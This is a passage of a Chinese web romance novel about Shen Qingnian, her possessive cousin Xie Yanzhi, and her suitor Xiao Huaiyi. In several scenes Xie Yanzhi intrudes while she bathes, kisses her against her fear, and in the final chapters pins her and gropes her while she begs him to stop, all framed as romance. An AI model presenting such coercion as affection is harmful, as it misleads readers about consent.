“浅月居如此破旧,大夫人拨的银子根本不够。” “公子得知后,就自己贴了些银钱。” 说着,他们已经到了浅月居前。 菱儿一进屋子,就捂住了嘴。 第四十五章今日我要得到一点儿好处 菱儿一推开门,就看到她们的屋子焕然一新。桌椅板凳都换成了全套的梨花木。 小姐的旧木床也换成了雕花大床,宽敞了许多。 榻也是新的,放在新的隔间里面。 以后,她都不用和小姐挤一个屋子了。 沈清念走进屋子里看了看,之前放榻的地方,现在放了一张宽大的书案。 案上笔墨纸砚一应俱全,且一看就是品质极好的。 而浅月居从外面看起来,还是普普通通的样子。 谁知里面竟别有洞天。 菱儿开心极了。她和小姐终于不用住那么破的屋子了。 沈清念心里也明白,这些恐怕都是谢宴之的安排。 但她还是有些喜欢的。从前在家中她每日都要花半小时练字画画的。 那个时候先生总是夸她的簪花小楷娟秀。 她的诗词也总能获得称赞。 自从到了这里,好久都没有写过了,因为她没有书案。 夜里,沈清念泡在铺满玫瑰花瓣的浴桶里,舒舒服服地沐浴。 这些日子以来,她都没有这么放松过,难得今日有这么的悠闲时光。 此刻,一道轻微的声音被水声掩盖。 屏风后面,谢宴之悄无声息地进到了沈清念的屋子。 知道她在沐浴,便坐在椅子上等着她。 过了一会儿,谢宴之听得一阵水声,屏风后的人,从浴桶里站了起来。 大大的屏风上,便隐隐约约映出些许模糊的人影来。 那白皙的肌肤在氤氲的水汽里散发着光泽,如墨的乌发湿哒哒地贴在胸前,一双高耸的峰若隐若现。 柔软的腰肢泛着莹润的水光,勾引着人往下面那处丰满看去。 谢宴之只觉得浑身燥热,有什么一下就被点燃了。 他的手指搭在屏风上,缓缓绕了过去。 沈清念正拿着帕子擦着身上,猛的看见谢宴之走了进来。 “你……” 她吓得花容失色,赶紧将身子隐入水里,留下一双水汪汪的大眼睛瞪着他。 在谢宴之看来,沈清念绯红着脸,甚是娇羞。 那光洁的双手更是欲盖弥彰,越是捂住,越是勾得人往那处瞧。 生气的话也变成了悦耳的娇嗔,惹得他心神荡漾,心跳也快了起来。 “你怎么在这里?”沈清念有些惊讶。 “我说了夜里来瞧你的,你忘了?”谢宴之已经来到了浴桶边。 沈清念想着上一次,谢宴之是半夜才来的。 不然她也不会这个时候沐浴。 现在天才刚刚黑他就来了,也不知有没有被人瞧见。 谢宴之知道她的心思,怕给人瞧见,脸皮又薄。 “放心,没人瞧见。” 说完,嘴角又勾了勾,俯身靠近她。 “你的衣物都打湿了。” 沈清念才发现她刚刚不小心把搭在浴桶边缘的衣服拽到了水里。 那碧色的肚兜上还浮着两朵嫣红的花瓣。 沈清念一把将肚兜按到了水下。脸上更是呈现酡红色。 谢宴之随之露出一抹坏笑:“要不要我帮你重新拿一件?都要露出来了。” “你……”沈清念低头看了一眼,又用手捂住胸前,羞愤难当。 “那你是要自己起来拿?”谢宴之就那样盯着她,眸子里闪烁不定。 “你先躲一下,我叫菱儿来帮我。” “她已经睡着了。” 沈清念愣了下,她知道定是谢宴之使了什么手段,将菱儿弄晕了。 “你……你转过去。”我自己去拿。 她才不要谢宴之碰她的贴身衣物。 谢宴之听话地绕到屏风后面,立在那里等她。 沈清念缓缓的从水中起来。 突然觉得一阵天旋地转,下一刻她就被谢宴之用被子裹了个严严实实。 “天凉,光着身子容易着凉。” 然后将她打横抱起来,向床走去。 沈清念的心都要跳出来了。 她真害怕谢宴之对她行不轨之事,心里有些像打鼓般咚咚响。 谢宴之将她放到床上躺好,又脱了靴子,躺在了她边上。 大手一捞,就将她捞在怀里。 “你在害怕?”谢宴之感觉到怀里这个蚕蛹在发抖。 “我不吃人。”谢宴之看着她。 虽然面容冷峻,可沈清念还是觉得他的眼神有些炙热,像要将她烫坏一般。 “这个床喜欢吗?”谢宴之放开她,正面向上躺着。 控制着自己,缓缓吐出一口浊气。 沈清念忽然明白了什么,咬着唇:“你是故意将菱儿安置到隔壁。” 亏那个傻丫头还对他感恩戴德! 谢宴之转过头来,颇有些意味不明地看着她。 “她在这儿有些碍事。” “那你为何把我的床……” 为何把她的床也换了? 沈清念几乎就要脱口而出,但她还是及时止住了。 她怕从谢宴之嘴里再得到什么令人羞耻的言语。 谢宴之看着眼前的人欲言又止的模样,勾了勾唇。 那晚他坐在那床上,隐约感觉床板都有些塌陷,他有些担心稍微用点力,那床就塌了。 还又窄又小,他躺着定不舒服。 所以他给换了个新的,尤其的结实! 又宽敞,两个人翻滚都是够够的了。 “因为我不会委屈自己。” “也不会亏待我的人。” 谢宴之说完,就那样看着她,眼波里难得有了一丝温情。 一股道不明的意味在两人之间流转。 沈清念瞪了他一眼,挪动身子,想离他远一些,让他知道她的不满。 他每每见到她都会逗弄一番。 说一些令她羞耻的话。 她都要烦死了。 但她不敢把他惹得太急,至少此时这种情形,实在太危险。 谢宴之看沈清念侧过头去,有些不满。 他又强硬地将人搂在怀里。 沈清念白皙的肩半露在外面,连着清晰的锁骨,都勾得他心里痒痒的。 “在你没准备好之前,我不碰你,好不好?” 难得的温声细语。 沈清念望着他,点点头,心里有些诧异,但也放松下来。 “但今日我要从你这儿得到一点儿好处。” 嗯?沈清念抬起头,有些不太明白他的意思。 谢宴之一把扣住她,急促的吻落到她的肩上,又往锁骨的的方向一路吻去。 沈清念被他吻得酥酥麻麻的,锁骨处渐渐地传来一阵微微的刺痛。 谢宴之湿湿热热的唇在那里拨弄着。 片刻后,谢宴之望着他的杰作十分满意。 那红红的一片吻痕,是他在沈清念身上留下的印记,让她再也不能喜欢别的男人。 沈清念这下明白他要的好处是什么了。 果然要他温柔,是要付出代价的。 她的眼眶慢慢泛起了红。 他总是这样欺负她! 他从来不问她的感受,总是把她当个玩意儿一样逗弄。 如果她是京城里的贵女,他会这样对她吗? 谢宴之压抑着某些反应,又紧紧抱住了沈清念。 “今夜我先回去了,明日我休沐,带你出去逛逛。” “早点休息。” 说完,谢宴之就翻窗出去,他再不走,真的怕自己做出什么事来。 每回一碰到沈清念,他都会轻易被她挑起兴致,忍得这么狼狈! 第四十六章 像夫君一样 沈清念一早便坐着谢宴之的马车到了市集。 谢宴之将她带到了胭脂铺,买了两盒胭脂后,又递给她一盒口脂。 那口脂的颜色有些艳了,沈清念不是很喜欢。 “我不喜欢这个颜色。”她淡淡的拒绝。 “我想看!” “这个看起来也很好尝。” 谢宴之就这样在她耳边说了两句。 他就是想要在她的唇上尝尝这个口脂的味道。 沈清念侧过头去看他,他脸上神色淡淡,看不出任何异样。 她有些不明白谢宴之看着还是之前风光霁月的模样,怎么这些孟浪的话张嘴就来。 难道他不知道这是在调戏她吗? 这跟登徒子有什么区别? 沈清念不想理会他,径直往外面走去。 谢宴之又拽着她到了卖首饰的铺子。 掌柜的一看谢宴之的衣着和气度,就知这是个有钱的主。 连忙上去讨好。 “这位公子,可是要给这位娘子买些首饰!” 沈清念还没来得及否认,谢宴之动了动嘴唇,冷冷地一句: “夫人,看上什么就买,你平日里都太素了。” 沈清念瞪了他一眼,心里有些发闷。 谢宴之现在在她眼里就像一只突然开了屏的孔雀,自以为是,还自作多情。 明明之前还是谪仙一般,不染凡尘。 谢宴之强势地给她买了一套头面后,他们来到了一家茶楼的包间喝些茶水,歇歇脚。 看着桌上堆着的大大小小的盒子,谢宴之看向沈清念:“你觉得我像你的什么人?” 沈清念清楚谢宴之的心思。 她看了那些装着胭脂水粉,衣裳首饰的盒子,假装想了一下。 在谢宴之有些期待的目光里,淡淡一句: “我觉得你有些像我的父亲!” 谢宴之猛地被一口茶呛住。 不是该像夫君吗? 他今日像她的夫君一样,陪着她逛铺子,给她花银子,购置喜欢的物件儿。 “沈清念,慎言!” 谢宴之的脸一下又黑了下来。 沈清念就当做看不见,接着说:“只有我父亲才会花银子让我买胭脂水粉,绫罗绸缎。 这样才好将她打扮得漂亮,像一件精致的物件儿,送给江家那个混蛋。 这时,门口有侍卫敲了敲门:“世子,属下有要事禀报。” 谢宴之听到来人的声音,认出是他留在岭南的下属元宵。 当日说好,万一事有变化,就回京找他。 他眉头微皱,又恢复了冷峻世子的模样。 “你在这等着我,我出去外面和他说。” 谢宴之不便让她见到元宵的模样。 “不必,让他进来说吧。我去一趟书斋,买一些诗词。” 瞧谢宴之的表情,应当是极其重要的事。她才不要在这里碍事了。 “那好,我拨两个人跟着你。” 许是她的容貌太惹眼,谢宴之还给她戴了一顶帷帽,才让她走出包间。 沈清念来到书斋,一本接一本地翻着书册。 过来这里总算让她呼吸了一口新鲜的空气,跟谢宴之在一起,太憋闷了。 她正思考着如何才能摆脱眼前的困境时,一个声音响起。 “沈姑娘!” 沈清念回头,发现那女子一袭轻纱薄裙,眉眼妩媚,头上的步摇伴着她的步子轻轻晃动着。 沈清念认出来了,是萧怀意身边那个女子蝶舞。 “蝶舞姑娘,好久不见。”沈清念喊出她的名字。 蝶舞有些惊讶,二人只有一面之缘,时隔多日,她竟然还能认出她来。 蝶舞上前一步:“沈姑娘,没想到能在此处遇到你。” “我来买些话本子打发打发时光。” 沈清念看着蝶舞手中拿着一些诗词类的书,便道:“蝶舞姑娘喜好诗词?” “我们楼里的姑娘以唱曲儿跳舞为生。” “自萧公子离京后,已经好多日没有新的词了,乐师也正发愁。再没有新的词曲,怡翠院都要保不住了。” “我来寻些诗词本子回去,看能不能试着写两首词对付对付。” 蝶舞尤擅歌舞,却不擅做词。 最近怡翠院的生意越来越差,姐妹们生计都成了问题。 沈清念这才知道,原来萧怀意每日是去帮她们填词。 沈清念想了想,低声说道: “蝶舞姑娘,不知能否让我试试。” 她从前也写过些诗词,也偷偷写过话本子,反响还是不错的。 “那可真是太好了!蝶舞喜不自禁。 “只是沈姑娘不介意吗?” 由于她们卖艺女子的身份,这京中少有女子与她们交往,怕惹得闲言碎语。 这点她得提醒沈清念。 “你们不偷不抢,靠自己过活,我为何要介意?” 沈清念没有因为她卖艺女子的身份瞧不起她,蝶舞心中对她的好感又增加了两分。 她不禁感叹,公子的眼光真的不错。 “那后日还来这里,我写两首词给你。” “嗯嗯,多谢沈姑娘,若是赚得银子,我愿与姑娘五五分。” 说着,蝶舞比出一个手掌。 本来沈清念可以不收银两的,可眼下她很缺银子。 “那便多谢蝶舞姑娘了。”沈清念笑了笑。 与蝶舞说定后,沈清念也买了几本诗词和话本子回了茶楼。 “话本子就别看了,这几本诗词留下。” 说着,谢宴之便抽走了她手里的话本子。 那些话本子无非是情情爱爱,要死要活的,难登大雅之堂。 谢宴之觉着他马上就要纳她为妾了,他的人,不能看那些低俗的东西。 只有谢昭那种蠢的,才会给她准备话本子。 沈清念不愿意,伸手要抢夺回来。 “世子凭什么拿走我的话本子?” 萧怀意的玉佩也是因他不喜就抢走了。 “沈清念,你马上就是靖南侯府的人了,少碰这些庸俗的东西。” 谢宴之有些不悦。 “我没说要入靖南侯府!也不想成为靖南侯府的人!” “还有,我就是个庸俗的人,还请世子高抬贵手,放过我!” 沈清念挺直了脊背,像一株倔强的月季。 这些时日,她真的是有些受够了。 “沈清念,你是不是忘了自己是谁,我是谁!” 谢宴之也有些恼了。 沈清念就是仗着他的几分喜欢,屡次三番忤逆他。 这些日子他放低了些姿态,是不是太纵着她了? 是谁给了她胆子! 谢宴之黑着脸转身走出门去,坐上马车后,他见沈清念还站在门口,脸上带着些愠色。 便对沈清念道:“不想坐靖南侯府的马车可以,不做靖南侯府的人不行!” 说完,便叫元青驾着马车走了,留下沈清念一人在茶楼门口。 谢宴之坐在车上,揉了揉太阳穴:先晾她几日,改改她这娇纵的脾气! 不然她都不知道他是谁! 前面突然传来元青的声音:“爷,不好了,清姑娘……” 第四十七章 再给一次机会? 谢宴之皱皱眉道:“她怎么了?” 元青摸了摸头,有些心虚道:“茶楼的账还没有结,恐怕清姑娘身上的银钱不够啊。” 谢宴之冷冷地看向元青,眼神凌厉,元青心里的小九九,一下就被他看穿了。 元青赶紧闭嘴,爷的眼刀还能承受,要罚他月钱,他可是承受不了的。 他也不过是想提醒谢宴之不要这样丢下清姑娘。 明明是喜欢人家的,这样做只会将清姑娘越推越远。 茶楼这边,不用和谢宴之待在一处,沈清念求之不得。 她让店家帮忙喊了一辆马车回到了侯府。 路过园子的时候,她看见菱儿还有另外两个敦实的身影。 沈清念认出来那是是金珠和银珠。 三人围在一起,蹲在地上看什么东西。 沈清念轻轻走过去一瞧,竟是一只灰色的小狗。 顶着一张小小的黑脸,很是可爱。 旁边的银珠一伸手,那狗子就龇牙咧嘴地对着她吠起来。 菱儿见状,伸手摸了摸它的头:“银珠,你要顺着它的毛捋,它才不会龇牙咧嘴。” “你看,就像这样,它舒服了,就不咬人了。” “给我试试。”身后传来沈清念的声音。 菱儿回头,看见自家小姐伸着手,便顺势将狗子递到了她怀里。 沈清念学着菱儿的样子,轻柔地摸着,狗子果然乖乖地在她的臂弯里,眯着眼,打了一个哈欠,几乎要睡着了。 沈清念看着那张小黑脸,脑海里浮现了另一个人的大黑脸。 那大黑脸不就爱龇牙咧嘴发脾气吗? 那她顺着他的毛捋,她的日子是不是也要好过些? 今日她是有些冲动了,不知谢宴之又要想出什么法子来找她的麻烦。 往后她定要哄好他,给自己留出时间,摆脱这个麻烦。 很快到了与蝶舞约定的日子,沈清念带着写好的词匆匆来到茶楼。 蝶舞已经在楼上的包间里等她了。 “沈姑娘,快请进。”蝶舞拿着把团扇,扭着腰肢过来招呼。 “蝶舞姑娘,今日我带来了三首词,你瞧瞧能不能用?” 沈清念说着,从衣袖里掏出那三首词递了过去。 蝶舞接过去,映入眼帘的是一手漂亮的簪花小楷。 词的风格不似萧怀意那样磅礴大气,却也不似那些艳俗的词一般,显得小家子气。 反倒是清新明丽,淡雅高洁。 仔细看过后,蝶舞发现三首词合在一起,竟完整讲述了一段男女间的凄美故事。 她心里暗自惊叹,没想到沈姑娘竟有如此新奇的法子。 “看来怡翠院有救了。” “我现在将词拿回去,先让乐师配曲。” 蝶舞有些迫不及待,她能感觉到,这三首词配成曲儿出来,定会叫人满堂喝彩。 “沈姑娘,我便先回去了,你等我的消息。” “蝶舞姑娘快去吧。”沈清念看着蝶舞那心急的模样,与平日里的清冷歌女完全不一样,不禁笑了笑。 蝶舞说着,就拿着词出去了,背影有些欢快,散发着掩盖不住的欣喜。 沈清念坐在桌旁,纤细的手指捧着茶杯,等着菱儿买丝线回来。 听到咯吱一声,门口响起了推门声,想是菱儿回来了,沈清念也没回头:“怎去了这么久?” “沈姑娘,让你久等了。” 一个熟悉的声音出来,令人如沐春风。 沈清念猛地回头,就见萧怀意立在门前。 一身锦绣长袍,金丝环佩,执扇于胸前,清风朗月的如玉公子! 清明的眸子里,满是暖意,还露着久别重逢的欣喜。 “好久不见了,沈姑娘。”萧怀意三两步走到沈清念面前,与她四目相对,眉眼如弯弯的月牙,难掩激动之色。 沈清念看着他,眼眶渐渐有些泛红,喉咙有些发堵,一腔的话语,只化作一句: “萧怀意。” 柔声的语调里,好像有些嗔怪,有些委屈,还有些思念。 萧怀意看沈清念红了眼眶,那看向他的眼神里,似有满腹的委屈。 他收了笑,有些心急道:“是我不好,竟将你惹哭了。” 沈清念此时又忽然想到谢宴之说的赌约的事。 她现在也拿不准萧怀意是如何看待他们二人的事,万一就像谢宴之说的那样,她只是个赌约。 那她这副模样是在做什么? 沈清念很快便调整了自己的情绪,使自己看起来一如往常。 “无碍,萧公子,你何时回来的?” 见沈清念又叫他萧公子,萧怀意心里有一丝苦涩。 他多希望她像刚刚那样叫他的名字。 “今日刚到,本来也是想偷偷去见你一面的。” “听蝶舞说要来与你相见,我便来了。” “偷偷?”沈清念有些不明白为何要偷偷来见她。 “上次匆匆一别,有些事还未与姑娘说清楚,我便偷偷回来与姑娘见上一面。” 萧怀意这些日子一直担心沈清念没有他的消息,会不会被安排着与别的男子相看。 他的事要彻底办好,仍需要不少日子,他必须提前回来找她当面表明心意。 “沈姑娘,如果你还愿相信萧某的话,我想带你去个地方。” “可菱儿还没有回来。”沈清念有些不放心,菱儿回来找不到她,肯定会着急。 “沈姑娘放心,菱儿姑娘回来后,可在这儿喝盏茶。我们一会儿来接她。” 看着萧怀意澄澈的眸子,沈清念含笑点点头。 沈清念也给菱儿留了纸条,让她不必担心。 半个时辰后,马车停了下来。 “沈姑娘,就是这里。” 沈清念掀开车帘,面前的是一处别院。 她跟着萧怀意走进去,里面不太大,却很精致。 清瓦白墙,院子里铺满青石板,种着一小撮花树,院墙下边还有一个小池,颇有江南庭院的美好。 许是常有人打扫,小院儿干干净净,一尘不染,十分温馨。 “这是我母亲从前住的院子,我幼时也在这里长大。” 沈清念有些诧异,这还是第一次听萧怀意提到他的母亲。 他带她来他母亲的院子做什么? 萧怀意领着沈清念坐在院中的石桌旁,给她倒了杯茶。 “沈姑娘,我从未对人说起过我的生世。其实,我是萧府大房的私生子,我的母亲只是一个外室。” 沈清念没想到萧怀意的身世竟然是这样。 “大夫人发现我母亲后,派人将她囚禁在这里,又假惺惺地将我接了回去。” “她的儿子萧洪意虽是嫡子,却资质平平,父亲不喜。而我自幼聪颖,父亲很是喜爱我。” “大夫人就拿我母亲威胁我,要我自毁形象,整日寻花问柳,斗鸡走狗,最终惹得父亲厌恶,将心力都用在萧洪意身上。” 萧怀意说着,眉头紧锁,手攥成拳。 原来萧怀意从前过的是这样的日子,沈清念不由地有些心疼他。 “两年前,我母亲去了,我才开始摆脱大夫人的控制。” 萧怀意浅浅地饮上一口茶后,看着沈清念:“我这样的身世,姑娘可会介怀?” 沈清念看向萧怀意,眉眼坚定又温柔:“不介怀。” 萧怀意听到沈清念这样说,脸上呈现出喜悦之色。 他在怀里掏了掏,掏出了那把檀木梳子,伸手递给沈清念。 眉目温柔,语气诚恳: “那姑娘可愿再给萧某一次机会?” 第四十八章 沈姑娘,你…… 沈清念看着萧怀意递过来的那把檀木梳,有些诧异。 她原以为谢宴之只是将它拿走了,没成想他竟然私下将梳子还给了萧怀意! 让萧怀意误以为她拒绝了他的心意。 谢宴之他凭什么那么做! 沈清念微微拧眉,指尖捏紧帕子,目光直直盯着那梳子,一言半语也没有。 面对萧怀意的赤诚,沈清念很想告诉他,梳子不是她还的。 可她要怎么解释梳子为何在谢宴之手里? 她根本不敢说出谢宴之的那些纠缠。 这世上就没有哪个男子会对这种事不介怀。 况且,她也确实还有些疑惑,思及此处,她并没有接过梳子,而是淡淡出声道: “萧公子,与我相看,不过就是个赌约而已。” “萧公子如此坦诚,何不告诉我赌注是什么,我可以帮公子赢来。” 萧怀意心中明了,难怪方才见沈姑娘脸上带着些不悦。 原来是当他一直在做戏,愚弄她。 想来定是世子与沈姑娘兄妹情深,怕沈姑娘被蒙骗,所托非人,才将赌约的事说了出来。 世子看着冷冰冰的,对表姑娘都是这般关爱。 萧怀意心里不免对谢宴之钦佩起来。 “沈姑娘,与宴之兄约定相看时,我确实是与他打赌的。” “美色当前,自然要存了调戏的心思,才是一个风流纨绔该有的样子。” 萧怀意放下梳子,又说道: “但自太湖与你相见,我自问从未骗过姑娘。” “只是当时有宴之兄跟着,我不便透露这些。” 萧怀意看看沈清念,见她只是专心听他说话,白皙的脸上,没有什么表情。 心下不免有些紧张,手心已出了汗。 沈清念到现在才知萧怀意将自己隐藏得很好,连谢宴之也不知道真实的萧怀意是什么样子。 可笑,他还自比璞玉,将萧公子比作烂石头。 这时,萧怀意又开了口: “沈姑娘,萧某是真的心悦于你。” “带你到我母亲的院子,也是想让她看看我心仪的女子。” “你心仪的女子不是蝶舞姑娘吗?” 沈清念说完,看着萧怀意的眼睛,不放过他一丝表情。 “蝶舞姑娘?她帮我代管怡翠院,帮我扮演纨绔。” “代管怡翠院?”沈清念显然没料到萧怀意会这样回答。 所以蝶舞姑娘也知道真实的萧怀意是什么样子的,只是她一直替她隐瞒着众人。 “嗯。两年前我买下怡翠院,给那些像我母亲一样可怜的女子一个收容之所。” 见沈清念有些了反应,萧怀意道:“不知沈姑娘可还有疑惑?” “那蝶舞姑娘说近日怡翠院就要经营不下去了,你可知道?” 萧怀意道:“那日离京匆忙,没来得及安排。本以为一两日就回,没想到耽误了这么久。” “还要多谢沈姑娘相助。” 沈清念笑了笑,又想起那日看到萧怀意给蝶舞画像的事,随即问道: “萧公子诗词做得那样好,不知是否也擅长画画呢?” 萧怀意耳根有些发红道:“我并不擅画画,但还画了一副沈姑娘的画像,请了蝶舞帮我润色,是矣并未将沈姑娘画丑。” 原来萧怀意画的是自己吗?沈清念心里有一丝丝动容,对那件事的介意也一扫而空。 萧怀意见沈清念不说话,心里有些着急,他害怕她的拒绝。 他指着院子的一个角落,“沈姑娘,原先我想着,你可以在这儿种上你喜欢的花草,还可以在那儿搭上葡萄架。” “还可以做个秋千。” “我还想在这个小池里样几尾锦鲤。” 沈清念突然出声,让萧怀意有些受宠若惊。 “沈姑娘,你……”萧怀意笑了起来。 “我还想开个铺子,卖我母亲教我做的合香珠。”沈清念淡淡开口。 “那我就来给你当伙计。”萧怀意不假思索道。 “我还想写些话本子。” “那不如我去泰和楼做说书先生,专讲你的话本子!” 两人四目相对,满心愉悦。 “嘭”的一声,别院的门被人从外面一脚踢开。 一双金丝皂靴踏了进来…… “谁?”沈清念被这动静吓到了。 她看到那鞋,有些像谢宴之平日里穿的。 心里不免紧张起来。 若被谢宴之发现她偷偷与萧怀意见面,沈清念不知他又要如何发疯。 若他当面说出他看过她的身子,吻过她的唇,那她还有何颜面在萧怀意面前出现? 眼看那人马上就要进到院子了,沈清念的脸有些发白。 手也不自觉地抖起来。 “二爷,先容我去通禀一声。”平安伸手将人挡在门外。 “二爷?”沈清念不知是哪个二爷。 “我的二哥,萧景意。”萧怀意解释道。 听到萧怀意这么说,沈清念心里有些庆幸,还好不是谢宴之。 但随即又紧张起来,若是被外人看见她和萧怀意孤男寡女在一处,这名声就别想要了。 她捏着帕子,咬着唇。 看出沈清念的顾虑,萧怀意主动说:“沈姑娘可去里面歇息片刻。我现在去打发了他。” 说完,萧怀意便起身,去门口挡住萧景意,而沈清念也趁机进到了屋子里。 “萧怀意,你敢拦我?”萧景意有些气急败坏。 “不知二哥来有何事?” 萧怀意不禁疑惑,他是秘密回京的,怎么被萧景意发现了? “萧怀意,这个节骨眼上,你竟偷跑回来,还好我得到了消息,父亲命我将你带回去。” “二哥,我有要事要办,办完了自会回去。” “你不顾大哥的死活,也不听父亲的话了?”萧景意挑了挑眉。 萧洪意这次去岭南游玩,不知怎的与那土匪有了交集,眼下被关在牢里。 萧老爷的意思是要用萧怀意去换萧洪意出来。 萧怀意哈哈一笑,眼里却是透骨的冰凉:“二哥如此担心大哥,不如由你去换大哥。” “我不过提前给我母亲烧点纸钱,到了那边我们母子也有个照应不是?二哥看方不方便?” 萧景意看到萧怀意虽含着笑,眼里却冒出寒光,心里竟有些害怕。 “明晚离京!” 留下这话,萧景意甩着袖子走了。 不多时,他来到一辆马车边,双手拱礼。 “世子,那屋子里确实有个姑娘,着一身鹅黄长裙。” 刚萧怀意挡在边上,他只看清那身衣裙。 谢宴之的手攥成了拳。 “多谢世子告知我三弟的消息,明日我们二人便会离京。” 萧景意说完,便上了自己的马车离去了。 “萧公子此行会有危险吗?”沈清念听到他们刚才的话了,不免有些担心。 “不会。”萧怀意答道,眸子里透着冷冽。 他们想让他做替死鬼,那他便让那萧洪意再也回不来。 萧怀意收起眸子里的冷光,对沈清念道: “沈姑娘,我先送你回去吧。” 萧怀意接了菱儿后,带着沈清念主仆二人回了侯府。 在要到侯府拐角处,沈清念让萧怀意停了车。 她不想萧怀意被谢宴之看见。 也不想别人看到她从男子的马车上下来。 “沈姑娘,明晚我就要离京,我在醉风楼等你用晚饭,就当为我践行。” 萧怀意说着,又将檀木梳子递了过来。 沈清念接过梳子,转身往侯府走去。 不知为何,她又蓦地回首,见萧怀意仍卷着帘子,看着她。 沈清念提起裙摆,快步跑到萧怀意的马车前:“萧公子,若你真心悦于我,能否请你早点来提亲?” 沈清念说完,脸蓦地红了。 身为一个女子,对男子提出这种要求,确实有些不妥。 但她怕谢宴之不会给她很长的时间。 萧怀意没想到沈清念会跑过来,还让他早日上门提亲。 他只觉心中被一股巨大的喜悦充斥,不能反应,一时间愣在了那里。 “萧公子若是为难……”沈清念捏着帕子,眉眼低垂,有些窘迫。 “沈姑娘,我三年孝期一满,就来提亲。” 听到这话,沈清念抬头,对上萧怀意深情的眸子,他的眼里,满是对她的宠溺。 侯府的墙头上,谢宴之沉着脸,望着那二人…… 第四十九章 伸进那微微敞开的衣襟里 沈清念与菱儿进了侯府,菱儿看着小姐拢着袖子一直走,看起来有些紧张,忍不住好奇: “小姐,你刚刚跟萧公子说了什么,为何有些紧张?” 菱儿不知道小姐为何又与萧公子在一处。 她不禁有些担心,那大公子怎么办?若是被大公子知道了…… 菱儿不敢往下想。 沈清念也不知道为什么,心就是跳得很厉害,好像谢宴之就在后面追赶她一样。 她只想赶快回到浅月居,关上门躲起来。 “无事,我只是有些累了,我们快些回去。” 让萧怀意来提亲的事还不能让人知道,特别是谢宴之。 左右不过还有大半年的时间,她一定可以等到那个时候的。 二人正走着,前面就过来两个人,菱儿定睛一看,正是谢宴之与元青。 她心下大惊,暗暗捏紧了袖子,怕自己的慌张被大公子瞧出什么端倪,连累了小姐。 见到沈清念,谢宴之停下了脚步,负手站在那处,冷硬的脸上,看不出喜怒。目光却凌厉得像刀子。 沈清念也没想到竟真的遇到谢宴之, 再看他今日身着紫色官袍,佩着黑色的腰带,身侧除了那翡翠绿的玉佩,还佩了一把长剑。俊朗飘逸,却无端的让沈清念有些害怕。 官服还没脱,应当是刚回府,那他有没有看到萧怀意? 菱儿连忙低下头,不敢再看大公子。她心下不免担心大公子是不是发现小姐见了萧公子? 谢宴之将沈清念仔仔细细打量了一遍,只见她未施粉黛,素净的脸上有些发白。 捏着绣帕的手紧握成拳,一步一步地走过来,腿看起来却如灌了铅一样。 她在害怕! 谢宴之冷哼一声,眼皮往上抬了抬。 她还知道害怕!敢背着他,与别的男人私会! “世子!”沈清念已来到他跟前,躬身福礼。 谢宴之见她低着头,长睫微颤,惹人生怜。 压抑的怒意消减了一些,他沉声一句:“跟我来。” 沈清念心下一颤,知他今日又是不打算轻易放过她了。 她害怕和他共处一室,就像被人狠狠掐住脖子,令她无法呼吸,想要挣脱。 谢宴之已经往前走了两步。 沈清念也心知得跟上去,奈何脚却怎么也迈不动步子。 谢宴之回头,见沈清念还站在原地,抿着唇不动,他又走回来,轻轻在她耳边道:“要不然你就别跟来了。” 沈清念一脸惊诧,有些不敢相信自己的耳朵。 竟然真的可以不去吗? 她看着昏黄的光透过树叶落在谢宴之脸上,他就是那样站着,仿佛真的好心的不要她跟着去了。 当沈清念正要福礼退下时,他忽然伸出手挡住她,“还是明日就将你抬进我的院子,省得跑来跑去累着你了,是不是?” 谢宴之说完,脸上还带着戏谑的笑。 沈清念看着他的那副伪善的样子,很想伸手给他一记耳光。 谢宴之是懂得如何拿捏她的,他知道她的痛处。 谢宴之看她脸上似乎有了反应,便往前走着。 沈清念心有不甘,此刻也只能认命地跟在他身后。 走着走着,沈清念的心跳得越来越快。 从这里到观澜居,有大小两条路。 平日里沈清念去观澜居都是走小路,那里有一大片竹林挡住,不容易被人瞧见。 而谢宴之今日像是故意要看她着急般,偏往大路走。 沈清念缩着脖子跟在后面,心中默默祈祷不要遇到什么人。 不知是侯府太大还是什么,她这一路走得煎熬,好似怎么走也走不到观澜居。 待到了观澜居时,她的后背已有些微微湿润。 谢宴之径直往前走,在里间的门口顿了顿,随后抬起脚跨门而入。 沈清念呼吸一滞,木讷地跟进去。 菱儿也要往里走,被元青一把拉住:“你跟着去做什么?还嫌不够碍事儿?” 菱儿想着小姐刚刚那视死如归的模样,不放心道:“可小姐一个人……” “咱们在这儿守好了,清姑娘才不会有事。”菱儿话还未说完,就被元青打断。 元青也知道清姑娘和萧怀意见面了。 不喜欢爷,也不能脚踏两条船呀! 他现在能做的,就是守好观澜居的门,让清姑娘不被别人撞见,不让闲言碎语传出去。 其余的,清姑娘只能自求多福了。 沈清念跨过里间的门槛儿,却没有看到谢宴之。 明明看到他进来了呀。 正想着,身后的门忽地关上,她没来得及反应就被谢宴之抵到门上,双手被他禁锢在头顶。 “你干什么!”沈清念吓得出声质问。 谢宴之的腿抵在她的双腿间,她的手也动弹不了。 这样的姿势令她感到羞耻。 更糟的是这样的姿势让她的衣襟微开,露出里面的一些春光来。 谢宴之见那白白糯糯的春光,抬头似笑非笑地在她耳边说了一句:“这么着急?” 谢宴之温热的鼻息扫过胸前,沈清念只觉得羞囧无比。 平日里清朗的世子,如今却像发情的浪荡子,眼里全是欲火。 沈清念羞恼的凝眉,双手挣扎了一下,却又被谢宴之强势地按下。 “他碰你哪儿了?”谢宴之沉声问道。 他的头伏在她的肩头,嗅着那令他着迷的独特的香味。 他也不知沈清念给他下了什么药了,让他如此地贪恋她的味道。 沈清念心里一凉,谢宴之知道了她和萧怀意见面的事。 “萧公子没有碰我!”沈清念说完,将脸侧向一边,轻咬着唇。 以为人人都和他一样吗?每每见着她,都要亵玩一下。 “你们孤男寡女在那别院,他那样的人,难道会不碰你?”谢宴之冷声道。 他冰凉的手指又在她的脸上抚着,最后落到她的唇上。 “这儿他碰了没?”谢宴之说着,就要贴上她的脸,灼热的呼吸,烫得她有些踹不过气。 沈清念紧紧地闭着眼睛,摇了摇头。 她感觉到谢宴之冰凉的手指离开了她的唇,顺着光滑的脖颈滑下去,伸进了那微微敞开的衣襟里。 “那这儿呢?” 谢宴之冰冷的声音响起。 第五十章 表哥,不要! “不要!”沈清念觉得自己想要大声惊叫,可想到外面的人,又生生忍住。 谢宴之的手还没有停下,就要挑开那片藕粉色的遮羞布。 “求你了!” 沈清念颤颤巍巍的声音传来,里面带着点哭腔。 身子也不受控地颤抖起来。 谢宴之捻了捻指尖的香气,云淡风轻道:“你说什么?我没听清。” 沈清念垂下头,咬了咬唇,弱弱出声:“表哥,求你了!” 